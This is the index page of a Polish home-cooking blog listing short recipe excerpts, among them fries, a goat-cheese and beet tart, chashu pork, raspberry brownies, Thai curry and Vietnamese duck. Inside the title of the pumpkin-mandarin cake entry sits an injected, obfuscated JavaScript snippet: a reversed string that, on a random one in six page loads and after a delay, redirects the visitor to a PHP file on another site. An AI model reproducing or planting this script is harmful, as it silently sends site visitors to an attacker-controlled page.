Frytki

Frytki

Frytki, fryteczki, frytunie… Niby taka podstawa, a kiepsko zrobione potrafią zepsuć radość z niejednej potrway. Na naszych tegorocznych wakacjach w Chorwacji i na Krecie zmuszeni byliśmy wziąć przygotowywanie frytek w swoje ręce, to był jedyny sposób na zatarcie wspomnień o tych smutnych, tłustych i rozlazłych…

Tarta na cieście francuskim z pleśniowym kozim serem i botwiną

Tarta na cieście francuskim z pleśniowym kozim serem i botwiną

Oryginalny przepis pochodzi z Kwestii Smaku. Ja daję mniej czosnku, bo nie lubię jak dominuje nad buraczkami. Bardzo prosty i szybki sposób na przekąskę – do wina, na kolację lub na zimno jako lunch do pracy. Składniki:– arkusz ciasta francuskiego– pęczek botwinki (lub 2-3 małe…

Boczek Chasu

Boczek Chasu

Długo duszony, mięciusieński, rozpływający się w ustach boczek chasu. Wspaniały dodatek do ramenu, ale na zimno na kanapce smakuje równie wybornie. Prz przygotowywaniu ramenu polecam zerknąć na nasze przepisy (https://fridayfeast.cooking/category/ramen/). Na przepis trafiliśmy na blogu Pyza made in Poland. Przepis na zalewę jest bardzo prosty,…

Kuku

Kuku

Na ten przepis natknęliśmy się w książce “Jerozolima” Yotama Ottelenghi’ego i Samiego Tamimi. Jest to w zasadzie rodzaj pieczonego omletu z dodatkami, a wersja nasza jest uproszczona i zajmuje mniej czasu i pracy niż oryginał. Równie dobry jak oryginał, słodko-słony i bardzo wciągający. Składniki:– 0,5kg…

Brownie z malinami

Brownie z malinami

Dodatek kwaskowatych owoców, jak maliny lub truskawki, do brownie podbija jego smak 🙂 Owoce kontrastują ze słodkością i konsystencją ciasta i sprawiają, że wydaje się być nieco lżejsze. Składniki: – 200g masła – 200g gorzkiej czekolady – 3 jajka – 250g cuktu – 140g mąki…

Ravioli z pieczoną dynią i ricotta w sosie maślano-mandarynkowym

Ravioli z pieczoną dynią i ricotta w sosie maślano-mandarynkowym

Nasze ulubione ravioli. Pracochłonne, czasochłonne, ale warte zachodu 🙂 Sos z soku mandarynkowego i masła szałwiowego świetnie pasuje do dyniowego farszu i nadaje całemu daniu świeżości. Składniki:nadzienie:– ok. kilo surowej dyni (każda pozą muskatową i figową będzie okej)– 250g ricotty– gałka muszkatołowa– chilli suszone– oliwa–…

Królowa Beza

Królowa Beza

Leciutka jak chmurka, z zewnątrz chrupiąca, a w środku delikatnie piankowa. Nie jest mdliście słodka, jak te kupne, ani taka twarda. No ideał! Dodatkowym plusem jest to, że do kremu można dodać dowolne owoce, albo orzechy, albo dżem, albo miód, co kto lubi. Przepis na…

Ciasto dyniowo-m<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>andarynkowe z polewą z białej czekolady

Ciasto dyniowo-mandarynkowe z polewą z białej czekolady

Wilgotne, aromatyczne i mięciutkie. Przepyszne ciasto z musem z pieczonej dyni i mandarynkami. Do tego proste i szybkie w wykonaniu. Nasz stały bywalec. Oryginał pochodzi z Kwestii Smaku, (link), ja trochę zmodyfikowałam przepis – dodaję więcej mandarynek, mniej cukru, ale więcej białej czekolady 🙂 Składniki…

Bakłażan z jagnięciną po marokańsku

Bakłażan z jagnięciną po marokańsku

Danie jednogarnkowe, z rodziny tych, które robią się praktycznie same 🙂 Mięciutkie bakłażany, aromatyczne przyprawy i sos na bazie pomidorów. Jagnięcinę można zastąpić innym mięsem, lub warzywami – na przykład cieciorką. Składniki (na ok. 4 porcje):– dwa nieduże bakłażany– 400g jagnięciny bez kości (łopatka, udziec…

Tarta jabłkowa

Tarta jabłkowa

Absolutnie prosta w wykonaniu, na kruchym cieście i z cynamonowym cukrem. Przepis pochodzi ze strony Krytyki Kulinarnej (link). Ja dodałam więcej cukru i więcej jabłek 🙂 Składniki:– 130g zimnego masła– 200g mąki pszennej– 4 łyżki cukru– 2,5 łyżeczki cynamonu– 5 dużych jabłek Wykonanie: Mąkę wysypujemy…

Zapiekanka z cukinią i ragu alla bolognese

Zapiekanka z cukinią i ragu alla bolognese

Zapiekanka z sosem bolońskim – definicja comfort foodu. W wersji z plasterkami cukinii zamiast makaronu mniej kaloryczna, więc za jednym posiedzeniem można zjeść więcej i być jeszcze bardziej comfort 😀 Składniki (na formę około 25x17cm): – dwie średnie cukinie– 50g selera naciowego– 50g marchewki– 50g…

Tagliatelle z długo duszoną wołowiną w sosie grzybowym

Tagliatelle z długo duszoną wołowiną w sosie grzybowym

Kilka ostatnich weekendów poświęciliśmy na spacery po lesie. Głowa odpoczywa, a oczy wypatrują grzybów 🙂 Całkiem pokaźne zbiory nam się udały, głównie podgrzybków, bo to już późna jesień. Ale to właśnie podgrzybki na sos nadają się najbardziej, pięknie pachną i nadają mu bardzo ładny, brązowy…

Wątróbka kurza duszona w porto

Wątróbka kurza duszona w porto

Swobodna interpretacja przepisu z książki “Portugalia do Zjedzenia”, autorstwa Bartka Kieżuna (https://www.facebook.com/KrakowskiMakaroniarz/). Polecam tę książkę gorąco, podobnie jak dwie pozostałe (Italia i najnowszy w rodzinie Stambuł), Bartek bardzo swobodnie łączy opisy swoich podróży z jedzeniem i gotowaniem, udowadniając, że ciężko poznać obcą kulturę bez poznawania…

Tarta z botwinką i łososiem

Tarta z botwinką i łososiem

Oryginał pochodzi z Kwestii Smaku (link). Łososia upiekliśmy w piekarniku, w sosie sojowym – najlepszy. Pieczemy ze skórą pozbawioną łusek, którą można absolutnie bezwysiłkowo zdjąć z ryby po upieczeniu. Dużo to latwiejsze niż jej odcinanie z surowego mięsa.  Następnym razem zrezygnujemy z dodawania jajek na…

Owsianka z owocami

Owsianka z owocami

Szybkie, a dobre 🙂 Składniki: – szklanka mleka – dwie czubate płatków owsianych górskich lub ekspresowych – wybrane owoce (np: jabłka + cynamon, truskawki/gruszki + ocet balsamiczny, borówki +mięta, można teżorzechy + miód) – cukier opcjonalnie Wykonanie: Do miseczki wsypać płatki i wlać mleko. Można…

Katsudon z kotletem z kani

Katsudon z kotletem z kani

Katsudon to japońskie, domowe danie, składające się z kotlecika wieprzowego, ryżu, jajka i charakterystycznego, słodko-słonego sosu. Poznaliśmy je w krakowskiej restauracji, prowadzonej przez Japończyka. Miejsce nazywa się Tokyo Tower, jest malutkie, ma w menu tylko 4 pozycje i świetnie karmi serdecznym jedzeniem z fantastycznym ryżem.…

Risotto z żółciakiem siarkowym

Risotto z żółciakiem siarkowym

Żółciak siarkowy to pyyyyyyszny grzyb, rosnący na pniach drzew. Owocuje w maju i w czerwcu, im młodszy tym smaczniejszy. Nasz okaz znaleźliśmy nie szukając w ogóle nad Zalewe Nowohuckim, ludzie wiedzą co dobre, bo już był porządnie poobcinany 🙂 Ristotto przygotowujemy w taki sam sposób…

Kwiaty cukinii smażone w piwnym cieście

Kwiaty cukinii smażone w piwnym cieście

W końcu nadszedł ten czas, że możemy cieszyć się owocami działań podjętych już w marcu 🙂 Nasze cukinie pięknie wyrosły z malutkich ziarenek do wielkich roślin i zaczęły kwitnąć: Kwiaty żeńskie na razie zostawiliśmy na krzakach, poczekamy aż owoce trochę podrosną i zjemy je wtedy…

Ciasto kruche z rabarbarem

Ciasto kruche z rabarbarem

Kruchy maślany spód i kwaśny rabarbar. Wiosna! Podane składniki wystarczą na mniejszą blaszkę 20 x 25/30cm. Składniki:– 350gr mąki pszennej– 1 łyżeczka proszku do pieczenia– 1 szklanka cukru – 200gr masła– 1 jajko– 700/800gr rabarbaru– cukier puder do posypania Wykonanie:Mąkę i proszek do pieczenia przesiać…

Bułeczki bao z mapo toufu

Bułeczki bao z mapo toufu

Wbrew pozorom szybka sprawa – szczególnie, jeśli do wyrobienia ciasta użyjecie robota. Wtedy najtrudniejsza część to wyczekać, aż bułeczki wyrosną 🙂 Mapo toufu (mapo/mala doufu) to klasyczek kuchni syczuańskiej. Nie udało nam się nabyć jeszcze pieprzu syczuańskiego, o który woła oryginalny przepis (tak jak zresztą…

Stir fry ze szparagami, kurczakiem i boczniakami

Stir fry ze szparagami, kurczakiem i boczniakami

Przepyszne i super szybkie danie z jednej patelni z cudem wiosny – szparagami 🙂 Przepis podpatrzony na Kwestii Smaku (https://www.kwestiasmaku.com/blog-kulinarny/stir-fry-z-kurczakiem-pieczarkami-szparagami), ale z naszymi modyfikacjami: mniej sosu sojowego, więcej szparagów, udka z kurczaka zamiast piersi i boczniaki zamiast pieczarek 🙂 Można podawać z makaronem np. ramen…

Bibimbap

Bibimbap

Dosłownie: zmieszaj to sam 🙂 Potrawa z kuchni koreańskiej, nada się tak naprawdę wszystko co macie w lodówce – część na ciepło, część na zimno, ma chrupać i mieszać smaki. Składniki (na dwie porcje): sos: łyżka koreańskiej pasty z fermentowanej papryki (gochujang); łyżka oleju sezamowego,…

Czerwone curry po tajsku z bakłażanem i krewetkami

Czerwone curry po tajsku z bakłażanem i krewetkami

Nieco uproszczony przepis na tajskie curry, tym razem czerwone – nic nie traci na smaku, a zyskuje na i tak już ekspresowej szybkości przygotowania. W sam raz na szybką kolację w tygodniu. Składniki (na dwie porcje): 1 bakłażan, pokrojony w ćwierćplasterki 3 ząbki czosnku, starte…

Pikantny, orientalny rosół z kaczki z suszonymi grzybami i makaronem ramen

Pikantny, orientalny rosół z kaczki z suszonymi grzybami i makaronem ramen

Rozgrzewający rosołek aromatyzowany trawą cytrynową, imbirem, czosnkiem i liśćmi kaffiru, z dodatkiem suszonych grzybów i papryczki chilli. Do wykorzystania świetnie nadadzą się resztki kaczki po oprawieniu mięsą do kaczki po wietnamsku (https://fridayfeast.cooking/kaczka-po-wietnamsku/). Rosół można zrobić też na kurczakowej porcji rosołowej. Jeśli zależy nam na większej…

Kaczka po wietnamsku

Kaczka po wietnamsku

Mięciuteńka, długo duszona w soku pomarańczowym i orientalnych przyprawach kaczka – jej główną zaletą jest bezwysiłkowe przygotowanie i brak charakterystycznego dla smażonej kaczki zapaszku 🙂 Przepis podpatrzony na Kwestii Smaku (https://tiny.pl/7xfg6). Składniki: – 2 udka i 2 piersi z kaczki (jeśli kupimy całą kaczkę i…

Boczniaki po tajsku

Boczniaki po tajsku

Na przepis trafiliśmy na stronie Jadłonomii ( https://www.jadlonomia.com/przepisy/boczniaki-po-tajsku/). Te grzybki są ekspresowe, mega pyszne i wchodzą równie dobrze z ryżem jak i na pajdzie chleba. Jadłonomia podaje, że w taki sposób można przyrządzić też nasze leśne grzyby, wypróbujemy, bo mamy ich pół zamrażalnika 🙂 Składniki…